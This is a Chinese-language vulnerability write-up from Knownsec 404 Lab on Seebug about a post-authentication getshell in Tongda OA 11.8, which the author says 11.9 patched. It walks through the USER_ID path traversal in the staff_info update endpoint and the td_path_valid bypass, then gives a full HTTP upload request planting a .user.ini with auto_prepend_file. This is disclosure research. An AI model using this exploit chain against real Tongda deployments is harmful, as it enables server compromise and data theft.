作者:LoRexxar'@知道創宇404實驗室
日期:2021年3月9日
前篇:通達OA代碼審計篇 - 11.7 有條件的任意命令執行
前篇中提到的漏洞在11.8版本中被完全修復后,我痛定思痛,從頭開始找一個新的漏洞,于是就有了今天這個漏洞的誕生,但沒想到的是,在保留到2021年初時,1月11號更新的11.9版本中再次被定向修復。
今天我們也來看看這一次的漏洞邏輯~
在繞過之前
在提到漏洞之前,首先我們需要清楚通達OA的幾個關鍵機制。
首先是通用文件,整個OA的大部分文件都會引用inc/utility*多個文件,里面涉及到了所有OA的通用函數以及一些全局處理、配置文件等。
除了關注到一些過濾函數以外,還有一個比較重要的是在inc/common.inc.php的全局處理,并將全局變量對應賦值給對應變量名。
而這個文件被多個基礎文件引用,所以我們就有了一個自帶的全局變量覆蓋,但是是經過過濾的。
可以明確的是,這個問題作為頑疾深深埋在了通達OA的深處,11.7以后的漏洞也大多都是因為這個原因造成的。
除了這個以外,在前一篇文章我提到過,通達OA關于文件上傳相關的配置非常完善。首先是建了attachment作為附件目錄,正常的文件上傳都會傳到這里。
location /attachment {
deny all;
}
除此之外,上傳函數還有3個限制條件:
1、不能沒有.
2、不能.之后為空
3、.之后3個字符不能是PHP
且通達本身不解析特殊后綴如pht,phtml等...
換言之,也就是如果一切文件上傳都建立在通達OA本身的邏輯上,我們一定沒辦法只靠文件上傳一個漏洞來getshell,在前篇中,我利用了一個文件包含來引用上傳的文件。但是在11.8中這個漏洞被修復了,我們就需要找別的辦法。
這里我們繞過的思路主要有幾個:
1、文件包含+文件上傳;
可惜,11.8開始,所有涉及到文件包含的接口都做了詳細的限制,這樣的接口本來也沒有幾個。
2、文件改名+跨目錄文件上傳;
3、上傳一個特殊的配置文件,比如.user.ini;
建立在這樣的思路基礎上,我們挖掘了今天這個漏洞。
后臺Getshell
這里我們找到
/general/hr/manage/staff_info/update.php line 28

根據前面的基礎,可以清楚這里USERID可控,然后剛好USERID被拼接進去,熟悉的漏洞誕生了,通過設置USERID為../../../,我們可以將文件上傳到任意位置。
但同樣的問題還是存在,我們沒辦法上傳PHP文件,而且比起11.7,這里的上傳限制也有一定的改變。添加了一個新的限制
function td_path_valid($source, $func_name)
{
$source_arr = pathinfo($source);
$source = realpath($source_arr["dirname"]);
$basename = strtolower($source_arr["basename"]);
if ($source === false) {
return false;
}
if ($func_name == "td_fopen") {
$whitelist = "qqwry.dat,tech.dat,tech_cloud.dat,tech_neucloud.dat,";
if ((strpos($source, "webroot\inc") !== false) && find_id($whitelist, $basename)) {
return true;
}
}
if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)) {
return false;
}
else {
return true;
}
}
這里多了一條限制if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)).
我們需要找到一個同時滿足webroot和attachment的目錄即可,這里我們選用了
webroot\general\reportshop\workshop\report\attachment-remark
這里我們構造文件向
/general/hr/manage/staff_info/update.php?USER_ID=../../general\reportshop\workshop\report\attachment-remark/1
上傳t.txt,這里就會成功寫入一個1.txt文件。
在這個基礎上,我們通過上傳.user.ini來修改當前目錄的配置。
具體原理可以參考https://www.leavesongs.com/PENETRATION/php-user-ini-backdoor.html
POST /general/hr/manage/staff_info/update.php?USER_ID=../../general\reportshop\workshop\report\attachment-remark/.user HTTP/1.1
Host: localhost:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------17518323986548992951984057104
Content-Length: 367
Connection: close
Cookie: PHPSESSID=76vrueivunkeingvpcv7cs4uu3; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=a4c45fc7; KEY_RANDOMDATA=7645
Upgrade-Insecure-Requests: 1
-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="ATTACHMENT"; filename="ttttttt.ini"
Content-Type: text/plain
auto_prepend_file=1.log
-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="submit"
提交
-----------------------------17518323986548992951984057104--
上傳成功之后,上傳1.log在目錄下,然后請求該路徑下任意php文件即可
值得注意的是,修改.user.ini并不是即時生效的,一般來說等待一會兒即可。
比較有意思的修復邏輯也很針對

直接對userid做了過濾。
漏洞證明

寫在最后
這個漏洞是在前篇文章被修復之后挖掘的,可以算是相對比較隱蔽的漏洞吧,可惜沒想到在手里還沒過3個月就又被修復了,其實這個漏洞還是有配合的前臺繞過方式的,但是由于時期特殊就不公開了,比較可惜的是在11.9中這些漏洞都被修復了。不得不說這幾個版本通達的代碼風格變化很大,雖然還是免不了挖東墻補西墻的感覺,但一些比較致命的問題都做了限制,后續如果還想挖通達的漏洞就比較難了,希望還能有更好的思路公開出來吧~
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1499/
暫無評論